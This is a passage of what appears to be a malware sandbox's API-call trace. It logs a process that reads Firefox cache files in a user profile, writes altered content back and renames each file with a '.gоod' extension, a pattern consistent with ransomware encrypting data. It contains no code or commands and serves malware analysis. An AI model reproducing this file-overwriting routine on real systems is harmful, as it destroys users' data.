(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.371] GetFileType (hFile=0x81c) returned 0x1 [0216.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0216.371] GetFileType (hFile=0x81c) returned 0x1 [0216.371] WriteFile (in: hFile=0x81c, lpBuffer=0x35e1860*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x35e1860*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0216.371] CloseHandle (hObject=0x81c) returned 1 [0216.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", lpFilePart=0x0) returned 0x7f [0216.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE.gоod", lpFilePart=0x0) returned 0x84 [0216.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0216.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e6aa7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc47e6aa7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7d2e858b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1204)) returned 1 [0216.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0216.372] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe.gоod")) returned 1 [0216.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", lpFilePart=0x0) returned 0x7f [0216.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0216.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), fInfoLevelId=0x0, lpFileInformation=0x365f640 | out: lpFileInformation=0x365f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b38178, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d2)) returned 1 [0216.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0216.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", lpFilePart=0x0) returned 0x7f [0216.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0216.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0216.373] GetFileType (hFile=0x81c) returned 0x1 [0216.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0216.373] GetFileType (hFile=0x81c) returned 0x1 [0216.373] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x3d2 [0216.373] ReadFile (in: hFile=0x81c, lpBuffer=0x365fe10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x365fe10*, lpNumberOfBytesRead=0x1fbeb028*=0x3d2, lpOverlapped=0x0) returned 1 [0216.496] CloseHandle (hObject=0x81c) returned 1 [0217.145] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", lpFilePart=0x0) returned 0x7f [0217.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0217.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0217.147] GetFileType (hFile=0x834) returned 0x1 [0217.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0217.147] GetFileType (hFile=0x834) returned 0x1 [0217.147] WriteFile (in: hFile=0x834, lpBuffer=0x38609f0*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x38609f0*, lpNumberOfBytesWritten=0x1fbeaf38*=0x3e0, lpOverlapped=0x0) returned 1 [0217.148] CloseHandle (hObject=0x834) returned 1 [0217.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", lpFilePart=0x0) returned 0x7f [0217.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2.gоod", lpFilePart=0x0) returned 0x84 [0217.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0217.149] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7da5bcdb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e0)) returned 1 [0217.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0217.149] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2.gоod")) returned 1 [0217.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", lpFilePart=0x0) returned 0x7f [0217.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0217.150] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), fInfoLevelId=0x0, lpFileInformation=0x3861d90 | out: lpFileInformation=0x3861d90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x48c9ac43, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0217.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0217.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", lpFilePart=0x0) returned 0x7f [0217.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0217.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0217.150] GetFileType (hFile=0x834) returned 0x1 [0217.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0217.150] GetFileType (hFile=0x834) returned 0x1 [0217.150] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x187 [0217.150] ReadFile (in: hFile=0x834, lpBuffer=0x3862310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3862310*, lpNumberOfBytesRead=0x1fbeb028*=0x187, lpOverlapped=0x0) returned 1 [0217.769] CloseHandle (hObject=0x834) returned 1 [0217.798] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", lpFilePart=0x0) returned 0x7f [0217.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0217.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0217.799] GetFileType (hFile=0x834) returned 0x1 [0217.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0217.799] GetFileType (hFile=0x834) returned 0x1 [0217.799] WriteFile (in: hFile=0x834, lpBuffer=0x3744418*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3744418*, lpNumberOfBytesWritten=0x1fbeaf38*=0x190, lpOverlapped=0x0) returned 1 [0217.800] CloseHandle (hObject=0x834) returned 1 [0217.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", lpFilePart=0x0) returned 0x7f [0217.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6.gоod", lpFilePart=0x0) returned 0x84 [0217.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0217.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7e0778be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0217.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0217.801] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6.gоod")) returned 1 [0217.801] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", lpFilePart=0x0) returned 0x7f [0217.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0217.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), fInfoLevelId=0x0, lpFileInformation=0x37457b8 | out: lpFileInformation=0x37457b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1165)) returned 1 [0217.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0217.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", lpFilePart=0x0) returned 0x7f [0217.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0217.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0217.983] GetFileType (hFile=0x834) returned 0x1 [0217.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0217.983] GetFileType (hFile=0x834) returned 0x1 [0217.983] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0217.983] ReadFile (in: hFile=0x834, lpBuffer=0x367c7e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x367c7e0*, lpNumberOfBytesRead=0x1fbeb0c8*=0x165, lpOverlapped=0x0) returned 1 [0217.986] CloseHandle (hObject=0x834) returned 1 [0217.986] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", lpFilePart=0x0) returned 0x7f [0217.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0217.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0217.986] GetFileType (hFile=0x834) returned 0x1 [0217.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0217.986] GetFileType (hFile=0x834) returned 0x1 [0217.986] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1165 [0217.987] WriteFile (in: hFile=0x834, lpBuffer=0x367db20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x367db20*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0217.987] CloseHandle (hObject=0x834) returned 1 [0217.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", lpFilePart=0x0) returned 0x7f [0217.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0217.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0217.987] GetFileType (hFile=0x834) returned 0x1 [0217.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0217.987] GetFileType (hFile=0x834) returned 0x1 [0217.987] ReadFile (in: hFile=0x834, lpBuffer=0x367fe88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x367fe88*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0218.077] CloseHandle (hObject=0x834) returned 1 [0218.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", lpFilePart=0x0) returned 0x7f [0218.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0218.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 